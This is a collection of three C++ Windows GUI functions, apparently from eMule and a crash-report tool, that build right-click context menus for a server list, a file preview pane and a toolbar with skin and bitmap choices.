void CServerListCtrl::OnContextMenu(CWnd* pWnd, CPoint point) { // get merged settings bool bFirstItem = true; int iSelectedItems = GetSelectedCount(); int iStaticServers = 0; UINT uPrioMenuItem = 0; POSITION pos = GetFirstSelectedItemPosition(); while (pos) { const CServer* pServer = (CServer*)GetItemData(GetNextSelectedItem(pos)); iStaticServers += pServer->IsStaticMember() ? 1 : 0; UINT uCurPrioMenuItem = 0; if (pServer->GetPreferences() == SRV_PR_LOW) uCurPrioMenuItem = MP_PRIOLOW; else if (pServer->GetPreferences() == SRV_PR_NORMAL) uCurPrioMenuItem = MP_PRIONORMAL; else if (pServer->GetPreferences() == SRV_PR_HIGH) uCurPrioMenuItem = MP_PRIOHIGH; else ASSERT(0); if (bFirstItem) uPrioMenuItem = uCurPrioMenuItem; else if (uPrioMenuItem != uCurPrioMenuItem) uPrioMenuItem = 0; bFirstItem = false; } CTitleMenu ServerMenu; ServerMenu.CreatePopupMenu(); ServerMenu.AddMenuTitle(GetResString(IDS_EM_SERVER), true); ServerMenu.AppendMenu(MF_STRING | (iSelectedItems > 0 ? MF_ENABLED : MF_GRAYED), MP_CONNECTTO, GetResString(IDS_CONNECTTHIS), _T("CONNECT")); ServerMenu.SetDefaultItem(iSelectedItems > 0 ? MP_CONNECTTO : -1); CMenu ServerPrioMenu; ServerPrioMenu.CreateMenu(); if (iSelectedItems > 0){ ServerPrioMenu.AppendMenu(MF_STRING, MP_PRIOLOW, GetResString(IDS_PRIOLOW)); ServerPrioMenu.AppendMenu(MF_STRING, MP_PRIONORMAL, GetResString(IDS_PRIONORMAL)); ServerPrioMenu.AppendMenu(MF_STRING, MP_PRIOHIGH, GetResString(IDS_PRIOHIGH)); ServerPrioMenu.CheckMenuRadioItem(MP_PRIOLOW, MP_PRIOHIGH, uPrioMenuItem, 0); } ServerMenu.AppendMenu(MF_POPUP | (iSelectedItems > 0 ? MF_ENABLED : MF_GRAYED), (UINT_PTR)ServerPrioMenu.m_hMenu, GetResString(IDS_PRIORITY), _T("PRIORITY")); // enable add/remove from static server list, if there is at least one selected server which can be used for the action ServerMenu.AppendMenu(MF_STRING | (iStaticServers < iSelectedItems ? MF_ENABLED : MF_GRAYED), MP_ADDTOSTATIC, GetResString(IDS_ADDTOSTATIC), _T("ListAdd")); ServerMenu.AppendMenu(MF_STRING | (iStaticServers > 0 ? MF_ENABLED : MF_GRAYED), MP_REMOVEFROMSTATIC, GetResString(IDS_REMOVEFROMSTATIC), _T("ListRemove")); ServerMenu.AppendMenu(MF_SEPARATOR); ServerMenu.AppendMenu(MF_STRING | (iSelectedItems > 0 ? MF_ENABLED : MF_GRAYED), MP_REMOVE, GetResString(IDS_REMOVETHIS), _T("DELETESELECTED")); ServerMenu.AppendMenu(MF_STRING | (GetItemCount() > 0 ? MF_ENABLED : MF_GRAYED), MP_REMOVEALL, GetResString(IDS_REMOVEALL), _T("DELETE")); ServerMenu.AppendMenu(MF_STRING | (iSelectedItems > 0 ? MF_ENABLED : MF_GRAYED), MP_GETED2KLINK, GetResString(IDS_DL_LINK1), _T("ED2KLINK")); ServerMenu.AppendMenu(MF_STRING | (theApp.IsEd2kServerLinkInClipboard() ? MF_ENABLED : MF_GRAYED), MP_PASTE, GetResString(IDS_PASTE), _T("PASTELINK")); ServerMenu.AppendMenu(MF_SEPARATOR); ServerMenu.AppendMenu(MF_ENABLED | (GetItemCount() > 0 ? MF_ENABLED : MF_GRAYED), MP_FIND, GetResString(IDS_FIND), _T("Search")); GetPopupMenuPos(*this, point); ServerMenu.TrackPopupMenu(TPM_LEFTALIGN |TPM_RIGHTBUTTON, point.x, point.y, this); VERIFY( ServerPrioMenu.DestroyMenu() ); VERIFY( ServerMenu.DestroyMenu() ); }
LRESULT CDetailDlg::OnPreviewRClick(int /*idCtrl*/, LPNMHDR /*pnmh*/, BOOL& /*bHandled*/) { // This method is called when user right-clicks the preview area. // We need to display popup menu. CErrorReportSender* pSender = CErrorReportSender::GetInstance(); CPoint pt; GetCursorPos(&pt); CMenu menu; menu.LoadMenu(IDR_POPUPMENU); CMenu submenu = menu.GetSubMenu(1); MENUITEMINFO mii; memset(&mii, 0, sizeof(MENUITEMINFO)); mii.cbSize = sizeof(MENUITEMINFO); mii.fMask = MIIM_STRING; strconv_t strconv; CString sAuto = pSender->GetLangStr(_T("DetailDlg"), _T("PreviewAuto")); CString sText = pSender->GetLangStr(_T("DetailDlg"), _T("PreviewText")); CString sHex = pSender->GetLangStr(_T("DetailDlg"), _T("PreviewHex")); CString sImage = pSender->GetLangStr(_T("DetailDlg"), _T("PreviewImage")); CString sEncoding = pSender->GetLangStr(_T("DetailDlg"), _T("Encoding")); mii.dwTypeData = sAuto.GetBuffer(0); submenu.SetMenuItemInfo(ID_PREVIEW_AUTO, FALSE, &mii); mii.dwTypeData = sHex.GetBuffer(0); submenu.SetMenuItemInfo(ID_PREVIEW_HEX, FALSE, &mii); mii.dwTypeData = sText.GetBuffer(0); submenu.SetMenuItemInfo(ID_PREVIEW_TEXT, FALSE, &mii); mii.dwTypeData = sImage.GetBuffer(0); submenu.SetMenuItemInfo(ID_PREVIEW_IMAGE, FALSE, &mii); UINT uItem = ID_PREVIEW_AUTO; if(m_previewMode==PREVIEW_HEX) uItem = ID_PREVIEW_HEX; else if(m_previewMode==PREVIEW_TEXT) uItem = ID_PREVIEW_TEXT; else if(m_previewMode==PREVIEW_IMAGE) uItem = ID_PREVIEW_IMAGE; submenu.CheckMenuRadioItem(ID_PREVIEW_AUTO, ID_PREVIEW_IMAGE, uItem, MF_BYCOMMAND); if(m_filePreview.GetPreviewMode()!=PREVIEW_TEXT) { submenu.DeleteMenu(5, MF_BYPOSITION); submenu.DeleteMenu(4, MF_BYPOSITION); } else { CMenuHandle TextEncMenu = submenu.GetSubMenu(5); mii.dwTypeData = sEncoding.GetBuffer(0); submenu.SetMenuItemInfo(5, TRUE, &mii); UINT uItem2 = ID_ENCODING_AUTO; if(m_textEncoding==ENC_AUTO) uItem2 = ID_ENCODING_AUTO; else if(m_textEncoding==ENC_ASCII) uItem2 = ID_ENCODING_ASCII; else if(m_textEncoding==ENC_UTF8) uItem2 = ID_ENCODING_UTF8; else if(m_textEncoding==ENC_UTF16_LE) uItem2 = ID_ENCODING_UTF16; else if(m_textEncoding==ENC_UTF16_BE) uItem2 = ID_ENCODING_UTF16BE; TextEncMenu.CheckMenuRadioItem(ID_ENCODING_AUTO, ID_ENCODING_UTF16BE, uItem2, MF_BYCOMMAND); } submenu.TrackPopupMenu(TPM_LEFTBUTTON, pt.x, pt.y, m_hWnd); return 0; }
void CMuleToolbarCtrl::OnNmRClick(NMHDR* /*pNMHDR*/, LRESULT* pResult) { if (GetKeyState(VK_CONTROL) & 0x8000) { if (!thePrefs.GetToolbarBitmapSettings().IsEmpty()) ChangeToolbarBitmap(thePrefs.GetToolbarBitmapSettings(), true); if (!thePrefs.GetSkinProfile().IsEmpty()) theApp.ApplySkin(thePrefs.GetSkinProfile()); *pResult = TRUE; return; } /////////////////////////////////////////////////////////////////////////// // "Toolbar Bitmap" sub menu // CMenu menuBitmaps; menuBitmaps.CreateMenu(); menuBitmaps.AppendMenu(MF_STRING, MP_SELECTTOOLBARBITMAP, GetResString(IDS_SELECTTOOLBARBITMAP)); menuBitmaps.AppendMenu(MF_STRING, MP_SELECTTOOLBARBITMAPDIR, GetResString(IDS_SELECTTOOLBARBITMAPDIR)); menuBitmaps.AppendMenu(MF_SEPARATOR); menuBitmaps.AppendMenu(MF_STRING, MP_TOOLBARBITMAP, GetResString(IDS_DEFAULT)); m_astrToolbarPaths.RemoveAll(); CString currentBitmapSettings = thePrefs.GetToolbarBitmapSettings(); bool checked = false; if (currentBitmapSettings.IsEmpty()) { menuBitmaps.CheckMenuItem(MP_TOOLBARBITMAP, MF_CHECKED); menuBitmaps.EnableMenuItem(MP_TOOLBARBITMAP, MF_DISABLED); checked = true; } m_astrToolbarPaths.Add(_T("")); // dummy entry for 'Default' menu item int i = 1; if (!thePrefs.GetMuleDirectory(EMULE_TOOLBARDIR).IsEmpty()) { CStringArray astrToolbarFiles; for (int f = 0; f < _countof(s_apszTBFiles); f++) { WIN32_FIND_DATA FileData; HANDLE hSearch = FindFirstFile(thePrefs.GetMuleDirectory(EMULE_TOOLBARDIR) + CString(_T("\\")) + s_apszTBFiles[f], &FileData); if (hSearch != INVALID_HANDLE_VALUE) { do { astrToolbarFiles.Add(FileData.cFileName); } while (astrToolbarFiles.GetCount() < MAX_TOOLBAR_FILES && FindNextFile(hSearch, &FileData)); FindClose(hSearch); } } if (astrToolbarFiles.GetCount() > 0) { Sort(astrToolbarFiles); for (int f = 0; f < astrToolbarFiles.GetCount(); f++) { const CString& bitmapFileName = astrToolbarFiles.GetAt(f); CString bitmapBaseName; LPCTSTR pszTbBaseExt = stristr(bitmapFileName, EMULTB_BASEEXT); if (pszTbBaseExt) bitmapBaseName = bitmapFileName.Left(pszTbBaseExt - (LPCTSTR)bitmapFileName - 1); else bitmapBaseName = bitmapFileName; menuBitmaps.AppendMenu(MF_STRING, MP_TOOLBARBITMAP + i, bitmapBaseName); m_astrToolbarPaths.Add(thePrefs.GetMuleDirectory(EMULE_TOOLBARDIR) + CString(_T("\\")) + bitmapFileName); if (!checked && currentBitmapSettings.CompareNoCase(m_astrToolbarPaths[i]) == 0) { menuBitmaps.CheckMenuItem(MP_TOOLBARBITMAP + i, MF_CHECKED); menuBitmaps.EnableMenuItem(MP_TOOLBARBITMAP + i, MF_DISABLED); checked = true; } i++; } } ASSERT( i-1 == astrToolbarFiles.GetCount() ); } if (!checked) { menuBitmaps.AppendMenu(MF_STRING, MP_TOOLBARBITMAP + i, currentBitmapSettings); menuBitmaps.CheckMenuItem(MP_TOOLBARBITMAP + i, MF_CHECKED); menuBitmaps.EnableMenuItem(MP_TOOLBARBITMAP + i, MF_DISABLED); m_astrToolbarPaths.Add(currentBitmapSettings); } /////////////////////////////////////////////////////////////////////////// // "Skin Profile" sub menu // CMenu menuSkins; menuSkins.CreateMenu(); menuSkins.AppendMenu(MF_STRING, MP_SELECT_SKIN_FILE, GetResString(IDS_SEL_SKIN)); menuSkins.AppendMenu(MF_STRING, MP_SELECT_SKIN_DIR, GetResString(IDS_SEL_SKINDIR)); menuSkins.AppendMenu(MF_SEPARATOR); menuSkins.AppendMenu(MF_STRING, MP_SKIN_PROFILE,GetResString(IDS_DEFAULT)); m_astrSkinPaths.RemoveAll(); CString currentSkin = thePrefs.GetSkinProfile(); checked = false; if (currentSkin.IsEmpty()) { menuSkins.CheckMenuItem(MP_SKIN_PROFILE, MF_CHECKED); menuSkins.EnableMenuItem(MP_SKIN_PROFILE, MF_DISABLED); checked = true; } m_astrSkinPaths.Add(_T("")); // dummy entry for 'Default' menu item i = 1; if (!thePrefs.GetMuleDirectory(EMULE_SKINDIR, false).IsEmpty()) { CStringArray astrSkinFiles; for (int f = 0; f < _countof(s_apszSkinFiles); f++) { WIN32_FIND_DATA FileData; HANDLE hSearch = FindFirstFile(thePrefs.GetMuleDirectory(EMULE_SKINDIR, false) + CString(_T("\\")) + s_apszSkinFiles[f], &FileData); if (hSearch != INVALID_HANDLE_VALUE) { do { astrSkinFiles.Add(FileData.cFileName); } while (astrSkinFiles.GetCount() < MAX_SKIN_FILES && FindNextFile(hSearch, &FileData)); FindClose(hSearch); } } if (astrSkinFiles.GetCount() > 0) { Sort(astrSkinFiles); for (int f = 0; f < astrSkinFiles.GetCount(); f++) { const CString& skinFileName = astrSkinFiles.GetAt(f); CString skinBaseName; LPCTSTR pszSkinBaseExt = stristr(skinFileName, _T(".") EMULSKIN_BASEEXT _T(".ini")); if (pszSkinBaseExt) skinBaseName = skinFileName.Left(pszSkinBaseExt - (LPCTSTR)skinFileName); else skinBaseName = skinFileName; menuSkins.AppendMenu(MF_STRING, MP_SKIN_PROFILE + i, skinBaseName); m_astrSkinPaths.Add(thePrefs.GetMuleDirectory(EMULE_SKINDIR, false) + CString(_T("\\")) + skinFileName); if (!checked && currentSkin.CompareNoCase(m_astrSkinPaths[i]) == 0) { menuSkins.CheckMenuItem(MP_SKIN_PROFILE + i, MF_CHECKED); menuSkins.EnableMenuItem(MP_SKIN_PROFILE + i, MF_DISABLED); checked = true; } i++; } } ASSERT( i-1 == astrSkinFiles.GetCount() ); } if (!checked) { menuSkins.AppendMenu(MF_STRING, MP_SKIN_PROFILE + i, currentSkin); menuSkins.CheckMenuItem(MP_SKIN_PROFILE + i, MF_CHECKED); menuSkins.EnableMenuItem(MP_SKIN_PROFILE + i, MF_DISABLED); m_astrSkinPaths.Add(currentSkin); } /////////////////////////////////////////////////////////////////////////// // "Text Label" sub menu // CMenu menuTextLabels; menuTextLabels.CreateMenu(); ASSERT( MP_NOTEXTLABELS == MP_TEXTLABELS-1 && MP_NOTEXTLABELS == MP_TEXTLABELSONRIGHT-2 ); ASSERT( MP_NOTEXTLABELS + (int)NoLabels == MP_NOTEXTLABELS ); ASSERT( MP_NOTEXTLABELS + (int)LabelsBelow == MP_TEXTLABELS ); ASSERT( MP_NOTEXTLABELS + (int)LabelsRight == MP_TEXTLABELSONRIGHT ); menuTextLabels.AppendMenu(MF_STRING | MF_ENABLED, MP_NOTEXTLABELS, GetResString(IDS_NOTEXTLABELS)); menuTextLabels.AppendMenu(MF_STRING | MF_ENABLED, MP_TEXTLABELS, GetResString(IDS_ENABLETEXTLABELS)); menuTextLabels.AppendMenu(MF_STRING | MF_ENABLED, MP_TEXTLABELSONRIGHT, GetResString(IDS_TEXTLABELSONRIGHT)); menuTextLabels.CheckMenuRadioItem(MP_NOTEXTLABELS, MP_TEXTLABELSONRIGHT, MP_NOTEXTLABELS + (int)thePrefs.GetToolbarLabelSettings(), MF_BYCOMMAND); menuTextLabels.EnableMenuItem(MP_NOTEXTLABELS + (int)thePrefs.GetToolbarLabelSettings(), MF_BYCOMMAND | MF_DISABLED); menuTextLabels.AppendMenu(MF_SEPARATOR); menuTextLabels.AppendMenu(MF_STRING, MP_LARGEICONS, GetResString(IDS_LARGEICONS)); menuTextLabels.AppendMenu(MF_STRING, MP_SMALLICONS, GetResString(IDS_SMALLICONS)); ASSERT( MP_LARGEICONS == MP_SMALLICONS-1 ); menuTextLabels.CheckMenuRadioItem(MP_LARGEICONS, MP_SMALLICONS, m_sizBtnBmp.cx == 16 ? MP_SMALLICONS : MP_LARGEICONS, MF_BYCOMMAND); menuTextLabels.EnableMenuItem(m_sizBtnBmp.cx == 16 ? MP_SMALLICONS : MP_LARGEICONS, MF_BYCOMMAND | MF_DISABLED); /////////////////////////////////////////////////////////////////////////// // Toolbar context menu // CMenu menuToolbar; menuToolbar.CreatePopupMenu(); menuToolbar.AppendMenu(MF_STRING | MF_POPUP, (UINT_PTR)menuBitmaps.m_hMenu, GetResString(IDS_TOOLBARSKINS)); menuToolbar.AppendMenu(MF_STRING | MF_POPUP, (UINT_PTR)menuSkins.m_hMenu, GetResString(IDS_SKIN_PROF)); menuToolbar.AppendMenu(MF_STRING | MF_POPUP, (UINT_PTR)menuTextLabels.m_hMenu, GetResString(IDS_TEXTLABELS)); menuToolbar.AppendMenu(MF_STRING, MP_CUSTOMIZETOOLBAR, GetResString(IDS_CUSTOMIZETOOLBAR)); CPoint point; GetCursorPos(&point); menuToolbar.TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, point.x, point.y, this); *pResult = TRUE; }